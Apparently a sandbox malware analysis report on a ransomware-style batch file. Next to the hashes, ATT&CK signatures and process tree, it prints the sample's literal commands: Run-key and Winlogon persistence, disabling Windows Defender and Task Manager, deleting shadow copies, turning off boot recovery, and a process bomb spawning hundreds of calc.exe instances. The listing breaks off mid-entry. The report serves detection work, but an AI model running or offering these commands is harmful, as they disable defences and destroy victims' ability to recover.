d76f5ba919698befdfd43347ecf152a26756d05f06f484338a6494d372247bbb

Analysis

max time kernel
1s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260618-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/06/2026, 10:15

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
09b33e73_.bat
Size 1KB
Sample260625-maek8aay3s
SHA256 d76f5ba919698befdfd43347ecf152a26756d05f06f484338a6494d372247bbb
MD5 c5e563c7efdd9c257898bff5a20f1d12
SHA1 7f0024d354eb07bd590c7d7e30e090e6d334bc80
SHA512 a78ef2bd32e324519f9ff8ed31e0c87559bd83fcb5e5b9d993c1944ce8ac14d9ef47f6f1ce91908b9a8917f4a9d1eb68a0f7823a22574f624a407b4e73fa14c1
TLSH
T1F231DF222913C622E662A4B0D50F5902F77FE2571C20AE60755330B8BD7E18AC6BD7DB
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion evasion execution impact persistence ransomware trojan

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Users\\Admin\\AppData\\Local\\Temp\\payload.bat"	reg.exe

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
3956	bcdedit.exe
3828	bcdedit.exe

Disables Task Manager via registry modification
defense_evasion

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2882181966-868590553-1461876573-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\payload.bat"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\payload.bat"	reg.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2768	vssadmin.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
3948	taskkill.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeBackupPrivilege	6004	vssvc.exe
Token: SeRestorePrivilege	6004	vssvc.exe
Token: SeAuditPrivilege	6004	vssvc.exe
Token: SeDebugPrivilege	3948	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1276 wrote to memory of 6100	1276	cmd.exe	92
PID 1276 wrote to memory of 5640	1276	cmd.exe	93
PID 1276 wrote to memory of 6016	1276	cmd.exe	94
PID 1276 wrote to memory of 6140	1276	cmd.exe	95
PID 1276 wrote to memory of 6112	1276	cmd.exe	96
PID 1276 wrote to memory of 4372	1276	cmd.exe	97
PID 1276 wrote to memory of 2768	1276	cmd.exe	98
PID 1276 wrote to memory of 3956	1276	cmd.exe	348
PID 1276 wrote to memory of 3828	1276	cmd.exe	352
PID 1276 wrote to memory of 7076	1276	cmd.exe	350
PID 1276 wrote to memory of 3092	1276	cmd.exe	104
PID 1276 wrote to memory of 3948	1276	cmd.exe	105
PID 3092 wrote to memory of 6812	3092	cmd.exe	108
PID 3092 wrote to memory of 5720	3092	cmd.exe	109
PID 3092 wrote to memory of 6536	3092	cmd.exe	110
PID 3092 wrote to memory of 3624	3092	cmd.exe	111
PID 3092 wrote to memory of 5416	3092	cmd.exe	112
PID 3092 wrote to memory of 5608	3092	cmd.exe	113
PID 3092 wrote to memory of 4916	3092	cmd.exe	114
PID 3092 wrote to memory of 6576	3092	cmd.exe	115
PID 3092 wrote to memory of 5600	3092	cmd.exe	116
PID 3092 wrote to memory of 3016	3092	cmd.exe	117
PID 3092 wrote to memory of 6800	3092	cmd.exe	118
PID 3092 wrote to memory of 3276	3092	cmd.exe	119
PID 3092 wrote to memory of 6192	3092	cmd.exe	120
PID 3092 wrote to memory of 4792	3092	cmd.exe	121
PID 3092 wrote to memory of 6520	3092	cmd.exe	122
PID 3092 wrote to memory of 6872	3092	cmd.exe	123
PID 3092 wrote to memory of 3348	3092	cmd.exe	124
PID 3092 wrote to memory of 2916	3092	cmd.exe	125
PID 3092 wrote to memory of 7160	3092	cmd.exe	126
PID 3092 wrote to memory of 5252	3092	cmd.exe	127
PID 3092 wrote to memory of 6676	3092	cmd.exe	128
PID 3092 wrote to memory of 692	3092	cmd.exe	129
PID 3092 wrote to memory of 3004	3092	cmd.exe	130
PID 3092 wrote to memory of 3916	3092	cmd.exe	131
PID 3092 wrote to memory of 4060	3092	cmd.exe	132
PID 3092 wrote to memory of 5568	3092	cmd.exe	133
PID 3092 wrote to memory of 2408	3092	cmd.exe	134
PID 3092 wrote to memory of 4404	3092	cmd.exe	135
PID 3092 wrote to memory of 5900	3092	cmd.exe	136
PID 3092 wrote to memory of 6052	3092	cmd.exe	137
PID 3092 wrote to memory of 5224	3092	cmd.exe	138
PID 3092 wrote to memory of 4428	3092	cmd.exe	139
PID 3092 wrote to memory of 5128	3092	cmd.exe	140
PID 3092 wrote to memory of 6232	3092	cmd.exe	141
PID 3092 wrote to memory of 4548	3092	cmd.exe	142
PID 3092 wrote to memory of 5068	3092	cmd.exe	143
PID 3092 wrote to memory of 7088	3092	cmd.exe	144
PID 3092 wrote to memory of 2740	3092	cmd.exe	145
PID 3092 wrote to memory of 2460	3092	cmd.exe	146
PID 3092 wrote to memory of 6660	3092	cmd.exe	147
PID 3092 wrote to memory of 6968	3092	cmd.exe	148
PID 3092 wrote to memory of 6324	3092	cmd.exe	149
PID 3092 wrote to memory of 2136	3092	cmd.exe	150
PID 3092 wrote to memory of 5560	3092	cmd.exe	151
PID 3092 wrote to memory of 5220	3092	cmd.exe	152
PID 3092 wrote to memory of 6280	3092	cmd.exe	153
PID 3092 wrote to memory of 5580	3092	cmd.exe	154
PID 3092 wrote to memory of 2664	3092	cmd.exe	155
PID 3092 wrote to memory of 3892	3092	cmd.exe	156
PID 3092 wrote to memory of 4844	3092	cmd.exe	157
PID 3092 wrote to memory of 6592	3092	cmd.exe	158
PID 3092 wrote to memory of 4052	3092	cmd.exe	159

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\09b33e73_.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1276
- C:\Windows\system32\cacls.exe
  "C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
  2⤵
  PID:6100
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SystemUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\payload.bat" /f
  2⤵
  - Adds Run key to start application
  PID:5640
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SystemUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\payload.bat" /f
  2⤵
  - Adds Run key to start application
  PID:6016
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
  2⤵
  PID:6140
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:6112
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, C:\Users\Admin\AppData\Local\Temp\payload.bat" /f
  2⤵
  - Modifies WinLogon for persistence
  PID:4372
- C:\Windows\system32\vssadmin.exe
  vssadmin delete shadows /for=c: /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2768
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3956
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3828
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:7076
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\bomb.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3092
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6812
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5720
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6536
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3624
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5416
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5608
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4916
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6576
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5600
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3016
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6800
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3276
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6192
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4792
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6520
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6872
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3348
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2916
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:7160
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5252
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6676
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:692
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3004
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3916
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4060
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5568
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2408
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4404
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5900
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6052
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5224
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4428
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5128
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6232
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4548
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5068
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:7088
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2740
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2460
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6660
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6968
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6324
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2136
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5560
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5220
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6280
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5580
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2664
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3892
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4844
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6592
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4052
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6944
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6852
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6204
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2772
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4128
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3928
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6628
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3908
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6196
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5564
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1988
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4728
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2652
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6336
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1296
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4672
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6688
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6332
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4992
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6760
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3520
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1972
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4460
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4936
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2464
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2012
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1920
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6492
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6156
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3692
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:7128
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1544
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1280
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:7020
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5356
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:476
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2572
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4360
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6496
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1676
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2188
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:7096
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:7092
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3632
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2064
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1432
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:472
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:7056
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2156
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3564
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3884
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:7060
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4204
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4168
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1800
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4244
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1492
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1408
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2220
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1180
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1332
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5636
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6992
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3764
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6828
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2920
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5468
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5292
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3712
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1664
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2968
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3960
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6900
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3848
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5488
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5440
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2228
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4500
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1188
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4076
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5140
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1436
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2060
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:7080
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5588
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1648
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2656
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6848
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1152
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2404
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4600
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6244
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2800
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6864
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6956
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5112
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5104
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1496
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5952
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6716
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1448
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3068
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3236
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6268
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1840
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5376
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3084
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1696
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1216
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6220
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5028
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6972
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3152
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2860
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3596
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4532
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6912
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5312
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3536
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5248
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2972
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6380
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4340
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3688
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3640
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3740
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:7028
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1272
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6700
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6772
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6708
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2792
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6388
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4824
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6780
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1116
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6608
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6596
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6764
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3472
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1200
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6980
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6620
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2864
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5772
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1792
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5864
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5756
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2444
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5844
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6908
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6816
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4216
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4832
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6880
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6832
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2852
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4660
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5812
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5904
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1884
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5988
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5892
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6368
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5340
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5344
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5736
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5332
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6440
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5644
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6000
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6016
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4744
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4224
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3280
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:788
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:392
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:384
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:308
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:300
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:324
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:332
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1880
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3060
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3272
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3680
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3956
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1536
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:7076
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6724
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3828
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1384
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5956
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:7176
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:7188
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:7196
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:7208
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:7216
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:7224
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:7240
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:7256
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:7272
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:7288
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:7296
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:7304
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:7312
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:7328
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:7336
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:7352
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:7360
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:7368
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:7384
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:7392
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:7404
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:7412
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:7420
- - C:\Windows\system32\calc.exe
    calc.exe
